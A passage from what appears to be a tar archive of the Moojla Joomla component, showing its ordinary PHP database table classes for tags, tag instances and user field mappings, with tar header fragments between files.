\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Tags Table class
 */
class MoojlaTableTag extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_tag', 'id', $db);

		// Adding Tag Options
		JTableObserverTags::createObserver($this, array('typeAlias'
=> 'com_moojla.tag'));

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.tag'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Tag table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New tag. A tag created and created_by field can be set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('tag', 'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_TAG_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('tag', 'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.tag.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.tag.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/tag_instance.php000064400000020571151165724410011201
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instance.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Tag_instances Table class
 */
class MoojlaTableTag_instance extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_tag_instance', 'id',
$db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.tag_instance'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the Tag_instance table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New tag_instance. A tag_instance created and created_by field can be
set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('tag_instance',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_TAG_INSTANCE_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('tag_instance',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.tag_instance.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.tag_instance.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/user_field_map.php000064400000020623151165724410011516
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_field_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * User_fields_map Table class
 */
class MoojlaTableUser_field_map extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_user_field_map', 'id',
$db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.user_field_map'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the User_field_map table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New user_field_map. A user_field_map created and created_by field can
be set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('user_field_map',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_USER_FIELD_MAP_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('user_field_map',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.user_field_map.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.user_field_map.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
tables/user_map.php000064400000020505151165724410010352 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * User_maps Table class
 */
class MoojlaTableUser_map extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');
    
	/**
	 * Constructor
	 *
	 * @param object Database connector object
	 */
	function __construct(&$db) 
	{
		parent::__construct('#__moojla_user_map', 'id', $db);

		// Adding History Options
		JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.user_map'));
	}	
 
	public function bind($array, $ignore = '')
	{
    
		if (isset($array['params']) &&
is_array($array['params']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['params']);
			$array['params'] = (string) $registry;
		}

		if (isset($array['metadata']) &&
is_array($array['metadata']))
		{
			$registry = new JRegistry;
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string) $registry;
		}
        
		// Bind the rules. 
		if (isset($array['rules']) &&
is_array($array['rules']))
		{ 
			$rules = new JAccessRules($array['rules']); 
			$this->setRules($rules); 
		}
		return parent::bind($array, $ignore);
	}
    
	/**
	 * Overload the store method for the User_map table.
	 *
	 * @param   boolean	Toggle whether null values should be updated.
	 * @return  boolean  True on success, false on failure.
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

		if ($this->id)
		{
			// Existing item
			$this->modified		= $date->toSql();
			$this->modified_by	= $user->get('id');
		}
		else
		{
			// New user_map. A user_map created and created_by field can be set by
the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date->toSql();
			}
			if (empty($this->created_by))
			{
				$this->created_by = $user->get('id');
			}
		}
		
		if (isset($this->alias))
		{
			// Verify that the alias is unique
			$table = JTable::getInstance('user_map',
'MoojlaTable');

			if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->setError(JText::_('COM_MOOJLA_USER_MAP_ERROR_UNIQUE_ALIAS'));
				return false;
			}
		}
		
		if (isset($this->url))
		{
			// Convert IDN urls to punycode
			$this->url = JStringPunycode::urlToPunycode($this->url);
		}
		if (isset($this->website))
		{
			// Convert IDN urls to punycode
			$this->website = JStringPunycode::urlToPunycode($this->website);
		}

		return parent::store($updateNulls);
	}
    
	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 */
	public function check()
	{
		if (isset($this->alias))
		{
			// Generate a valid alias
			$this->generateAlias();
            
			$table = JTable::getInstance('user_map',
'moojlaTable');

			while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
			{
				$this->alias = StringHelper::increment($this->alias,
'dash');
			}
		}
		
		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
 		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$bad_characters = array("\n", "\r",
"\"", "<", ">");

			// Remove bad characters.
			$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $after_clean);
			$clean_keys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$clean_keys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(", ", $clean_keys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$bad_characters = array("\"", "<",
">");
			$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
		}

		// If we don't have any access rules set at this point just use an
empty JAccessRules class
		if (!$this->getRules())
		{
			$rules =
$this->getDefaultAssetValues('com_moojla.user_map.'.$this->id);
			$this->setRules($rules);
		}
        
		// Set ordering
		if ($this->published < 0)
		{
			// Set ordering to 0 if state is archived or trashed
			$this->ordering = 0;
		}

		return true;
	}

	/**
	 * Gets the default asset values for a component.
	 *
	 * @param   $string  $component  The component asset name to search for
	 *
	 * @return  JAccessRules  The JAccessRules object for the asset
	 */
	protected function getDefaultAssetValues($component, $try = true)
	{
		// Need to find the asset id by the name of the component.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__assets'))
			->where($db->quoteName('name') . ' = ' .
$db->quote($component));
		$db->setQuery($query);
		$db->execute();
		if ($db->loadRowList())
		{
			// asset already set so use saved rules
			$assetId = (int) $db->loadResult();
			return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
		}
		// try again
		elseif ($try)
		{
			$try = explode('.',$component);
			$result =  $this->getDefaultAssetValues($try[0], false);
			if ($result instanceof JAccessRules)
			{
				if (isset($try[1]))
				{
					$_result = (string) $result;
					$_result = json_decode($_result);
					foreach ($_result as $name => &$rule)
					{
						$v = explode('.', $name);
						if ($try[1] !== $v[0])
						{
							// remove since it is not part of this view
							unset($_result->$name);
						}
						else
						{
							// clear the value since we inherit
							$rule = array();
						}
					}
					// check if there are any view values remaining
					if (count( (array) $_result))
					{
						$_result = json_encode($_result);
						$_result = array($_result);
						// Instantiate and return the JAccessRules object for the asset
rules.
						$rules = new JAccessRules;
						$rules->mergeCollection($_result);

						return $rules;
					}
				}
				return $result;
			}
		}
		return JAccess::getAssetRules(0);
	}

	/**
	 * Method to compute the default name of the asset.
	 * The default name is in the form 'table_name.id'
	 * where id is the value of the primary key of the table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetName()
	{
		$k = $this->_tbl_key;
		return 'com_moojla.user_map.'.(int) $this->$k;
	}

	/**
	 * Method to return the title to use for the asset table.
	 *
	 * @return	string
	 * @since	2.5
	 */
	protected function _getAssetTitle()
	{
		if (isset($this->title))
		{
			return $this->title;
		}
		return '';
	}

	/**
	 * Get the parent asset id for the record
	 *
	 * @return	int
	 * @since	2.5
	 */
	protected function _getAssetParentId(JTable $table = NULL, $id = NULL) 
	{
		$asset = JTable::getInstance('Asset');
		$asset->loadByName('com_moojla');

		return $asset->id;
	}

	/**
	 * This view does not actually have an alias
	 *
	 * @return  bool
	 */
	public function generateAlias()
	{
		return false;
	}

}
views/categories_map/index.html000064400000000054151165724410012665
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/categories_map/tmpl/default.php000064400000005556151165724410014015
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
